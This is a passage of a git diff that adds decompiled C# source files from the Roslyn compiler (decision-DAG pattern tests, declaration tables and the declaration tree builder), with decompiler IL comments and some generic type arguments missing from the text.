falseTestPermitsTrueOther = false; + } + } + else + { + foundExplicitNullTest = true; + trueTestPermitsTrueOther = false; + falseTestImpliesTrueOther = true; + } + } + else + { + falseTestPermitsTrueOther = false; + } + void handleRelationWithValue(BinaryOperatorKind relation, ConstantValue value, out bool reference, out bool reference3, out bool reference2, out bool reference4) + { + bool flag = test.Equals(other); + reference = whenTrueValues?.Any(relation, value) ?? true; + reference2 = flag || (reference && (whenTrueValues?.All(relation, value) ?? false)); + reference3 = !flag && (whenFalseValues?.Any(relation, value) ?? true); + reference4 = reference3 && (whenFalseValues?.All(relation, value) ?? false); + } + } + + private bool CheckInputRelation(SyntaxNode syntax, DagState state, BoundDagTest test, BoundDagTest other, out Tests relationCondition, out Tests relationEffect) + { + relationCondition = Tests.True.Instance; + relationEffect = Tests.True.Instance; + if (test.Input == other.Input) + { + return true; + } + bool flag = ((test is BoundDagNonNullTest || test is BoundDagExplicitNullTest) ? true : false); + bool flag2 = !flag; + if (flag2) + { + bool flag3 = ((other is BoundDagNonNullTest || other is BoundDagExplicitNullTest) ? true : false); + flag2 = !flag3; + } + if (flag2 && (!(test is BoundDagTypeTest) || !(other is BoundDagTypeTest)) && !test.Input.Type.Equals(other.Input.Type, (TypeCompareKind)63)) + { + return false; + } + BoundDagTemp boundDagTemp = OriginalInput(test.Input); + BoundDagTemp boundDagTemp2 = OriginalInput(other.Input); + ArrayBuilder val = null; + while (boundDagTemp.Index == boundDagTemp2.Index) + { + BoundDagEvaluation source = boundDagTemp.Source; + BoundDagEvaluation source2 = boundDagTemp2.Source; + if (source is BoundDagTypeEvaluation || source2 is BoundDagTypeEvaluation) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/DecisionDagBuilder.cs", 1421); + } + if (source != source2) + { + if (source is BoundDagIndexerEvaluation e) + { + if (source2 is BoundDagIndexerEvaluation e2) + { + BoundDagTemp boundDagTemp3; + int num; + (boundDagTemp, boundDagTemp3, num) = GetCanonicalInput(e); + BoundDagTemp boundDagTemp4; + int num2; + (boundDagTemp2, boundDagTemp4, num2) = GetCanonicalInput(e2); + if (boundDagTemp.Index != boundDagTemp2.Index || boundDagTemp3.Syntax == boundDagTemp4.Syntax) + { + break; + } + if (num == num2) + { + continue; + } + if (num < 0 == num2 < 0) + { + break; + } + IValueSet valueSet = (IValueSet)state.RemainingValues[boundDagTemp3]; + int num3 = ((num < 0) ? (num2 - num) : (num - num2)); + if (!valueSet.All(BinaryOperatorKind.Equal, num3)) + { + if (_forLowering || !valueSet.Any(BinaryOperatorKind.Equal, num3)) + { + break; + } + (val ?? (val = ArrayBuilder.GetInstance())).Add((Tests)new Tests.One(new BoundDagValueTest(syntax, ConstantValue.Create(num3), boundDagTemp3))); + } + continue; + } + } + else if (source == null) + { + break; + } + if (source2 == null) + { + break; + } + BoundDagEvaluation boundDagEvaluation = source; + BoundDagEvaluation boundDagEvaluation2 = source2; + if (!boundDagEvaluation.IsEquivalentTo(boundDagEvaluation2)) + { + break; + } + boundDagTemp = OriginalInput(boundDagEvaluation.Input); + boundDagTemp2 = OriginalInput(boundDagEvaluation2.Input); + continue; + } + if (val != null) + { + relationCondition = Tests.AndSequence.Create(val); + relationEffect = new Tests.One(new BoundDagAssignmentEvaluation(syntax, other.Input, test.Input)); + } + return true; + } + val?.Free(); + return false; + } + + private ConstantValue? ExpressionOfTypeMatchesPatternTypeForLearningFromSuccessfulTypeTest(TypeSymbol expressionType, TypeSymbol patternType, ref CompoundUseSiteInfo useSiteInfo) + { + Conversion conversion; + ConstantValue result = Binder.ExpressionOfTypeMatchesPatternType(_conversions, expressionType, patternType, ref useSiteInfo, out conversion); + if (conversion.Exists || !isRuntimeSimilar(expressionType, patternType)) + { + return result; + } + return null; + static bool isRuntimeSimilar(TypeSymbol typeSymbol, TypeSymbol typeSymbol2) + { + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0136: Unknown result type (might be due to invalid IL or missing references) + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Expected I4, but got Unknown + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Invalid comparison between Unknown and I4 + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Invalid comparison between Unknown and I4 + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Invalid comparison between Unknown and I4 + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Invalid comparison between Unknown and I4 + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Invalid comparison between Unknown and I4 + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Invalid comparison between Unknown and I4 + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Invalid comparison between Unknown and I4 + //IL_0106: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Invalid comparison between Unknown and I4 + //IL_0116: Unknown result type (might be due to invalid IL or missing references) + //IL_011a: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Invalid comparison between Unknown and I4 + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + //IL_012a: Unknown result type (might be due to invalid IL or missing references) + //IL_012c: Invalid comparison between Unknown and I4 + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Invalid comparison between Unknown and I4 + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Invalid comparison between Unknown and I4 + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0100: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Invalid comparison between Unknown and I4 + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Invalid comparison between Unknown and I4 + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + //IL_0122: Invalid comparison between Unknown and I4 + //IL_012e: Unknown result type (might be due to invalid IL or missing references) + //IL_0132: Invalid comparison between Unknown and I4 + TypeSymbol typeSymbol3; + TypeSymbol typeSymbol4; + for (; typeSymbol is ArrayTypeSymbol arrayTypeSymbol && typeSymbol2 is ArrayTypeSymbol arrayTypeSymbol2 && arrayTypeSymbol.IsSZArray == arrayTypeSymbol2.IsSZArray && arrayTypeSymbol.Rank == arrayTypeSymbol2.Rank; typeSymbol2 = typeSymbol4, typeSymbol = typeSymbol3) + { + typeSymbol3 = arrayTypeSymbol.ElementType.EnumUnderlyingTypeOrSelf(); + typeSymbol4 = arrayTypeSymbol2.ElementType.EnumUnderlyingTypeOrSelf(); + SpecialType specialType = typeSymbol3.SpecialType; + SpecialType specialType2 = typeSymbol4.SpecialType; + if (specialType != specialType2) + { + switch (specialType - 9) + { + case 0: + if ((int)specialType2 != 10) + { + continue; + } + break; + case 1: + if ((int)specialType2 != 9) + { + continue; + } + break; + case 2: + if ((int)specialType2 != 12) + { + continue; + } + break; + case 3: + if ((int)specialType2 != 11) + { + continue; + } + break; + case 4: + if ((int)specialType2 != 14 && specialType2 - 21 > 1) + { + continue; + } + break; + case 5: + if ((int)specialType2 != 13 && specialType2 - 21 > 1) + { + continue; + } + break; + case 6: + if ((int)specialType2 != 16 && specialType2 - 21 > 1) + { + continue; + } + break; + case 7: + if ((int)specialType2 != 15 && specialType2 - 21 > 1) + { + continue; + } + break; + case 12: + if (specialType2 - 13 > 3 && (int)specialType2 != 22) + { + continue; + } + break; + case 13: + if (specialType2 - 13 > 3 && (int)specialType2 != 21) + { + continue; + } + break; + default: + continue; + } + } + return true; + } + return false; + } + } + + private static FrozenArrayBuilder AsFrozen(ArrayBuilder builder) + { + return new FrozenArrayBuilder(builder); + } + + private Tests MakeTestsAndBindingsForListPattern(BoundDagTemp input, BoundListPattern list, out BoundDagTemp output, ArrayBuilder bindings) + { + SyntaxNode syntax = list.Syntax; + ImmutableArray subpatterns = list.Subpatterns; + ArrayBuilder instance = ArrayBuilder.GetInstance(4 + subpatterns.Length * 2); + output = (input = MakeConvertToType(input, list.Syntax, list.NarrowedType, isExplicitTest: false, instance)); + if (list.HasErrors) + { + instance.Add((Tests)new Tests.One(new BoundDagTypeTest(list.Syntax, ErrorType(), input, hasErrors: true))); + } + else if (!list.HasSlice || subpatterns.Length != 1 || !(subpatterns[0] is BoundSlicePattern { Pattern: null })) + { + BoundExpression receiver; + SyntaxNode propertySyntax; + PropertySymbol propertySymbol = Binder.GetPropertySymbol(list.LengthAccess, out receiver, out propertySyntax); + BoundDagPropertyEvaluation boundDagPropertyEvaluation = new BoundDagPropertyEvaluation(syntax, propertySymbol, isLengthOrCount: true, input); + instance.Add((Tests)new Tests.One(boundDagPropertyEvaluation)); + BoundDagTemp boundDagTemp = new BoundDagTemp(syntax, _compilation.GetSpecialType((SpecialType)13), boundDagPropertyEvaluation); + instance.Add((Tests)new Tests.One(list.HasSlice ? ((BoundDagTest)new BoundDagRelationalTest(syntax, BinaryOperatorKind.IntGreaterThanOrEqual, ConstantValue.Create(subpatterns.Length - 1), boundDagTemp)) : ((BoundDagTest)new BoundDagValueTest(syntax, ConstantValue.Create(subpatterns.Length), boundDagTemp)))); + int num = 0; + ImmutableArray.Enumerator enumerator = subpatterns.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundPattern current = enumerator.Current; + if (current is BoundSlicePattern boundSlicePattern2) + { + int startIndex = num; + num -= subpatterns.Length - 1; + BoundPattern pattern = boundSlicePattern2.Pattern; + if (pattern != null) + { + BoundDagSliceEvaluation boundDagSliceEvaluation = new BoundDagSliceEvaluation(pattern.Syntax, pattern.InputType, boundDagTemp, startIndex, num, boundSlicePattern2.IndexerAccess, boundSlicePattern2.ReceiverPlaceholder, boundSlicePattern2.ArgumentPlaceholder, input); + instance.Add((Tests)new Tests.One(boundDagSliceEvaluation)); + BoundDagTemp input2 = new BoundDagTemp(pattern.Syntax, pattern.InputType, boundDagSliceEvaluation); + instance.Add(MakeTestsAndBindings(input2, pattern, bindings)); + } + } + else + { + BoundDagIndexerEvaluation boundDagIndexerEvaluation = new BoundDagIndexerEvaluation(current.Syntax, current.InputType, boundDagTemp, num++, list.IndexerAccess, list.ReceiverPlaceholder, list.ArgumentPlaceholder, input); + instance.Add((Tests)new Tests.One(boundDagIndexerEvaluation)); + BoundDagTemp input3 = new BoundDagTemp(current.Syntax, current.InputType, boundDagIndexerEvaluation); + instance.Add(MakeTestsAndBindings(input3, current, bindings)); + } + } + } + if (list.VariableAccess != null) + { + bindings.Add(new BoundPatternBinding(list.VariableAccess, input)); + } + return Tests.AndSequence.Create(instance); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Declaration.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Declaration.cs new file mode 100644 index 0000000..da54f5a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/Declaration.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class Declaration +{ + protected readonly string name; + + public string Name => name; + + public ImmutableArray Children => GetDeclarationChildren(); + + public abstract DeclarationKind Kind { get; } + + protected Declaration(string name) + { + this.name = name; + } + + protected abstract ImmutableArray GetDeclarationChildren(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeclarationKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeclarationKind.cs new file mode 100644 index 0000000..c377400 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeclarationKind.cs @@ -0,0 +1,16 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum DeclarationKind : byte +{ + Namespace, + Class, + Interface, + Struct, + Enum, + Delegate, + Script, + Submission, + ImplicitClass, + Record, + RecordStruct +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeclarationModifiers.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeclarationModifiers.cs new file mode 100644 index 0000000..d0b5ff0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeclarationModifiers.cs @@ -0,0 +1,37 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp; + +[Flags] +internal enum DeclarationModifiers : uint +{ + None = 0u, + Abstract = 1u, + Sealed = 2u, + Static = 4u, + New = 8u, + Public = 0x10u, + Protected = 0x20u, + Internal = 0x40u, + ProtectedInternal = 0x80u, + Private = 0x100u, + PrivateProtected = 0x200u, + ReadOnly = 0x400u, + Const = 0x800u, + Volatile = 0x1000u, + Extern = 0x2000u, + Partial = 0x4000u, + Unsafe = 0x8000u, + Fixed = 0x10000u, + Virtual = 0x20000u, + Override = 0x40000u, + Indexer = 0x80000u, + Async = 0x100000u, + Ref = 0x200000u, + Required = 0x400000u, + Scoped = 0x800000u, + File = 0x1000000u, + All = 0x1FFFFFFu, + Unset = 0x2000000u, + AccessibilityMask = 0x3F0u +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeclarationTable.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeclarationTable.cs new file mode 100644 index 0000000..dee692f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeclarationTable.cs @@ -0,0 +1,366 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class DeclarationTable +{ + private class Cache + { + private readonly DeclarationTable _table; + + private MergedNamespaceDeclaration? _mergedRoot; + + private ISet? _typeNames; + + private ISet? _namespaceNames; + + private ImmutableArray _referenceDirectives; + + public MergedNamespaceDeclaration MergedRoot + { + get + { + if (_mergedRoot == null) + { + Interlocked.CompareExchange(ref _mergedRoot, MergedNamespaceDeclaration.Create(ImmutableArrayExtensions.AsImmutable((IEnumerable)_table._allOlderRootDeclarations.InInsertionOrder.Select((Lazy lazyRoot) => lazyRoot.Value))), null); + } + return _mergedRoot; + } + } + + public ISet TypeNames + { + get + { + if (_typeNames == null) + { + Interlocked.CompareExchange(ref _typeNames, GetTypeNames(MergedRoot), null); + } + return _typeNames; + } + } + + public ISet NamespaceNames + { + get + { + if (_namespaceNames == null) + { + Interlocked.CompareExchange(ref _namespaceNames, GetNamespaceNames(MergedRoot), null); + } + return _namespaceNames; + } + } + + public ImmutableArray ReferenceDirectives + { + get + { + if (_referenceDirectives.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _referenceDirectives, ImmutableArrayExtensions.AsImmutable(MergedRoot.Declarations.OfType().SelectMany((RootSingleNamespaceDeclaration r) => r.ReferenceDirectives))); + } + return _referenceDirectives; + } + } + + public Cache(DeclarationTable table) + { + _table = table; + } + } + + private sealed class RootNamespaceLocationComparer : IComparer + { + private readonly CSharpCompilation _compilation; + + internal RootNamespaceLocationComparer(CSharpCompilation compilation) + { + _compilation = compilation; + } + + public int Compare(SingleNamespaceDeclaration? x, SingleNamespaceDeclaration? y) + { + return ((Compilation)_compilation).CompareSourceLocations(x.SyntaxReference, y.SyntaxReference); + } + } + + public static readonly DeclarationTable Empty = new DeclarationTable(ImmutableSetWithInsertionOrder>.Empty, null, null); + + private readonly ImmutableSetWithInsertionOrder> _allOlderRootDeclarations; + + private readonly Lazy? _latestLazyRootDeclaration; + + private readonly Cache _cache; + + private MergedNamespaceDeclaration? _mergedRoot; + + private ICollection? _typeNames; + + private ICollection? _namespaceNames; + + private ICollection? _referenceDirectives; + + private static readonly Predicate s_isNamespacePredicate = (Declaration d) => d.Kind == DeclarationKind.Namespace; + + private static readonly Predicate s_isTypePredicate = (Declaration d) => d.Kind != DeclarationKind.Namespace; + + public ICollection TypeNames + { + get + { + if (_typeNames == null) + { + Interlocked.CompareExchange(ref _typeNames, GetMergedTypeNames(), null); + } + return _typeNames; + } + } + + public ICollection NamespaceNames + { + get + { + if (_namespaceNames == null) + { + Interlocked.CompareExchange(ref _namespaceNames, GetMergedNamespaceNames(), null); + } + return _namespaceNames; + } + } + + public IEnumerable ReferenceDirectives + { + get + { + if (_referenceDirectives == null) + { + Interlocked.CompareExchange(ref _referenceDirectives, GetMergedReferenceDirectives(), null); + } + return _referenceDirectives; + } + } + + private DeclarationTable(ImmutableSetWithInsertionOrder> allOlderRootDeclarations, Lazy? latestLazyRootDeclaration, Cache? cache) + { + _allOlderRootDeclarations = allOlderRootDeclarations; + _latestLazyRootDeclaration = latestLazyRootDeclaration; + _cache = cache ?? new Cache(this); + } + + public DeclarationTable AddRootDeclaration(Lazy lazyRootDeclaration) + { + if (_latestLazyRootDeclaration == null) + { + return new DeclarationTable(_allOlderRootDeclarations, lazyRootDeclaration, _cache); + } + return new DeclarationTable(_allOlderRootDeclarations.Add(_latestLazyRootDeclaration), lazyRootDeclaration, null); + } + + public DeclarationTable RemoveRootDeclaration(Lazy lazyRootDeclaration) + { + if (_latestLazyRootDeclaration == lazyRootDeclaration) + { + return new DeclarationTable(_allOlderRootDeclarations, null, _cache); + } + return new DeclarationTable(_allOlderRootDeclarations.Remove(lazyRootDeclaration), _latestLazyRootDeclaration, null); + } + + public MergedNamespaceDeclaration GetMergedRoot(CSharpCompilation compilation) + { + if (_mergedRoot == null) + { + Interlocked.CompareExchange(ref _mergedRoot, CalculateMergedRoot(compilation), null); + } + return _mergedRoot; + } + + internal MergedNamespaceDeclaration CalculateMergedRoot(CSharpCompilation compilation) + { + MergedNamespaceDeclaration mergedRoot = _cache.MergedRoot; + if (_latestLazyRootDeclaration == null) + { + return mergedRoot; + } + if (mergedRoot == null) + { + return MergedNamespaceDeclaration.Create(_latestLazyRootDeclaration.Value); + } + ImmutableArray declarations = mergedRoot.Declarations; + ArrayBuilder instance = ArrayBuilder.GetInstance(declarations.Length + 1); + instance.AddRange(declarations); + instance.Add((SingleNamespaceDeclaration)_latestLazyRootDeclaration.Value); + if (compilation != null) + { + instance.Sort((IComparer)new RootNamespaceLocationComparer(compilation)); + } + return MergedNamespaceDeclaration.Create(instance.ToImmutableAndFree()); + } + + private ICollection GetMergedTypeNames() + { + ISet typeNames = _cache.TypeNames; + if (_latestLazyRootDeclaration == null) + { + return typeNames; + } + return UnionCollection.Create((ICollection)typeNames, (ICollection)GetTypeNames(_latestLazyRootDeclaration.Value)); + } + + private ICollection GetMergedNamespaceNames() + { + ISet namespaceNames = _cache.NamespaceNames; + if (_latestLazyRootDeclaration == null) + { + return namespaceNames; + } + return UnionCollection.Create((ICollection)namespaceNames, (ICollection)GetNamespaceNames(_latestLazyRootDeclaration.Value)); + } + + private ICollection GetMergedReferenceDirectives() + { + ImmutableArray referenceDirectives = _cache.ReferenceDirectives; + if (_latestLazyRootDeclaration == null) + { + return referenceDirectives; + } + return UnionCollection.Create((ICollection)referenceDirectives, (ICollection)_latestLazyRootDeclaration.Value.ReferenceDirectives); + } + + private static ISet GetTypeNames(Declaration declaration) + { + return GetNames(declaration, s_isTypePredicate); + } + + private static ISet GetNamespaceNames(Declaration declaration) + { + return GetNames(declaration, s_isNamespacePredicate); + } + + private static ISet GetNames(Declaration declaration, Predicate predicate) + { + HashSet hashSet = new HashSet(); + Stack stack = new Stack(); + stack.Push(declaration); + while (stack.Count > 0) + { + Declaration declaration2 = stack.Pop(); + if (declaration2 != null) + { + if (predicate(declaration2)) + { + hashSet.Add(declaration2.Name); + } + ImmutableArray.Enumerator enumerator = declaration2.Children.GetEnumerator(); + while (enumerator.MoveNext()) + { + Declaration current = enumerator.Current; + stack.Push(current); + } + } + } + return SpecializedCollections.ReadOnlySet((ISet)hashSet); + } + + public static bool ContainsName(MergedNamespaceDeclaration mergedRoot, string name, SymbolFilter filter, CancellationToken cancellationToken) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return ContainsNameHelper(mergedRoot, (string n) => n == name, filter, (SingleTypeDeclaration t) => t.MemberNames.Value.Contains(name), cancellationToken); + } + + public static bool ContainsName(MergedNamespaceDeclaration mergedRoot, Func predicate, SymbolFilter filter, CancellationToken cancellationToken) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return ContainsNameHelper(mergedRoot, predicate, filter, delegate(SingleTypeDeclaration t) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = t.MemberNames.Value.GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + if (predicate(current)) + { + return true; + } + } + } + finally + { + ((IDisposable)enumerator/*cast due to constrained. prefix*/).Dispose(); + } + return false; + }, cancellationToken); + } + + private static bool ContainsNameHelper(MergedNamespaceDeclaration mergedRoot, Func predicate, SymbolFilter filter, Func typePredicate, CancellationToken cancellationToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Invalid comparison between Unknown and I4 + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + bool flag = (filter & 1) == 1; + bool flag2 = (filter & 2) == 2; + bool flag3 = (filter & 4) == 4; + Stack stack = new Stack(); + stack.Push(mergedRoot); + while (stack.Count > 0) + { + cancellationToken.ThrowIfCancellationRequested(); + MergedNamespaceOrTypeDeclaration mergedNamespaceOrTypeDeclaration = stack.Pop(); + if (mergedNamespaceOrTypeDeclaration == null) + { + continue; + } + if (mergedNamespaceOrTypeDeclaration.Kind == DeclarationKind.Namespace) + { + if (flag && predicate(mergedNamespaceOrTypeDeclaration.Name)) + { + return true; + } + } + else + { + if (flag2 && predicate(mergedNamespaceOrTypeDeclaration.Name)) + { + return true; + } + if (flag3) + { + ImmutableArray.Enumerator enumerator = ((MergedTypeDeclaration)mergedNamespaceOrTypeDeclaration).Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleTypeDeclaration current = enumerator.Current; + if (typePredicate(current)) + { + return true; + } + } + } + } + ImmutableArray.Enumerator enumerator2 = mergedNamespaceOrTypeDeclaration.Children.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (enumerator2.Current is MergedNamespaceOrTypeDeclaration mergedNamespaceOrTypeDeclaration2 && (flag3 || flag2 || mergedNamespaceOrTypeDeclaration2.Kind == DeclarationKind.Namespace)) + { + stack.Push(mergedNamespaceOrTypeDeclaration2); + } + } + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeclarationTreeBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeclarationTreeBuilder.cs new file mode 100644 index 0000000..476476e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DeclarationTreeBuilder.cs @@ -0,0 +1,1279 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class DeclarationTreeBuilder : CSharpSyntaxVisitor +{ + private static readonly ConditionalWeakTable>> s_nodeToMemberNames = new ConditionalWeakTable>>(); + + private static readonly StrongBox> s_emptyMemberNames = new StrongBox>(ImmutableSegmentedHashSet.Empty); + + private readonly SyntaxTree _syntaxTree; + + private readonly string _scriptClassName; + + private readonly bool _isSubmission; + + private readonly OneOrMany>>> _previousMemberNames; + + private QuickAttributes _nonGlobalAliasedQuickAttributes; + + private int _currentTypeIndex; + + private DeclarationTreeBuilder(SyntaxTree syntaxTree, string scriptClassName, bool isSubmission, OneOrMany>>> previousMemberNames) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + _syntaxTree = syntaxTree; + _scriptClassName = scriptClassName; + _isSubmission = isSubmission; + _previousMemberNames = previousMemberNames; + } + + public static RootSingleNamespaceDeclaration ForTree(SyntaxTree syntaxTree, string scriptClassName, bool isSubmission, OneOrMany>>>? previousMemberNames = null) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return (RootSingleNamespaceDeclaration)new DeclarationTreeBuilder(syntaxTree, scriptClassName, isSubmission, (OneOrMany>>>)(((_003F?)previousMemberNames) ?? OneOrMany>>>.Empty)).Visit(syntaxTree.GetRoot(default(CancellationToken))); + } + + public static bool CachesComputedMemberNames(SingleTypeDeclaration typeDeclaration) + { + switch (typeDeclaration.Kind) + { + case DeclarationKind.Namespace: + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Declarations/DeclarationTreeBuilder.cs", 104); + case DeclarationKind.Delegate: + return false; + case DeclarationKind.Class: + case DeclarationKind.Interface: + case DeclarationKind.Struct: + case DeclarationKind.Enum: + case DeclarationKind.Script: + case DeclarationKind.Submission: + case DeclarationKind.ImplicitClass: + case DeclarationKind.Record: + case DeclarationKind.RecordStruct: + return true; + default: + throw ExceptionUtilities.UnexpectedValue((object)typeDeclaration.Kind); + } + } + + private ImmutableArray VisitNamespaceChildren(CSharpSyntaxNode node, SyntaxList members, SyntaxList internalMembers) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Invalid comparison between Unknown and I4 + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0156: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Unknown result type (might be due to invalid IL or missing references) + if (members.Count == 0) + { + return ImmutableArray.Empty; + } + bool flag = false; + bool flag2 = node.Kind() == SyntaxKind.CompilationUnit && (int)_syntaxTree.Options.Kind == 0; + bool flag3 = false; + bool flag4 = false; + bool flag5 = false; + Microsoft.CodeAnalysis.CSharp.Syntax.GlobalStatementSyntax globalStatementSyntax = null; + bool flag6 = false; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Enumerator enumerator = members.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.MemberDeclarationSyntax current = enumerator.Current; + SingleNamespaceOrTypeDeclaration singleNamespaceOrTypeDeclaration = Visit((SyntaxNode?)(object)current); + if (singleNamespaceOrTypeDeclaration != null) + { + instance.Add(singleNamespaceOrTypeDeclaration); + } + else if (flag2 && ((SyntaxNode?)(object)current).IsKind(SyntaxKind.GlobalStatement)) + { + Microsoft.CodeAnalysis.CSharp.Syntax.GlobalStatementSyntax globalStatementSyntax2 = (Microsoft.CodeAnalysis.CSharp.Syntax.GlobalStatementSyntax)current; + if (globalStatementSyntax == null) + { + globalStatementSyntax = globalStatementSyntax2; + } + Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement = globalStatementSyntax2.Statement; + if (!((SyntaxNode?)(object)statement).IsKind(SyntaxKind.EmptyStatement)) + { + flag6 = true; + } + if (!flag3) + { + flag3 = SyntaxFacts.HasAwaitOperations((SyntaxNode)(object)statement); + } + if (!flag4) + { + flag4 = SyntaxFacts.HasYieldOperations((SyntaxNode?)(object)statement); + } + if (!flag5) + { + flag5 = SyntaxFacts.HasReturnWithExpression((SyntaxNode?)(object)statement); + } + } + else if (!flag && current.Kind() != SyntaxKind.IncompleteMember) + { + flag = true; + } + } + if (globalStatementSyntax != null) + { + ImmutableArray diagnostics = ImmutableArray.Empty; + if (!flag6) + { + DiagnosticBag instance2 = DiagnosticBag.GetInstance(); + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.EmptyStatementSyntax)globalStatementSyntax.Statement).SemicolonToken; + instance2.Add(ErrorCode.ERR_SimpleProgramIsEmpty, ((SyntaxToken)(ref semicolonToken)).GetLocation()); + diagnostics = instance2.ToReadOnlyAndFree(); + } + instance.Add(CreateSimpleProgram(globalStatementSyntax, flag3, flag4, flag5, diagnostics)); + } + if (flag) + { + SingleTypeDeclaration.TypeDeclarationFlags declFlags = SingleTypeDeclaration.TypeDeclarationFlags.None; + StrongBox> nonTypeMemberNames = GetNonTypeMemberNames(node, internalMembers, ref declFlags, flag2); + SyntaxReference reference = _syntaxTree.GetReference((SyntaxNode)(object)node); + instance.Add(CreateImplicitClass(nonTypeMemberNames, reference, declFlags)); + } + return 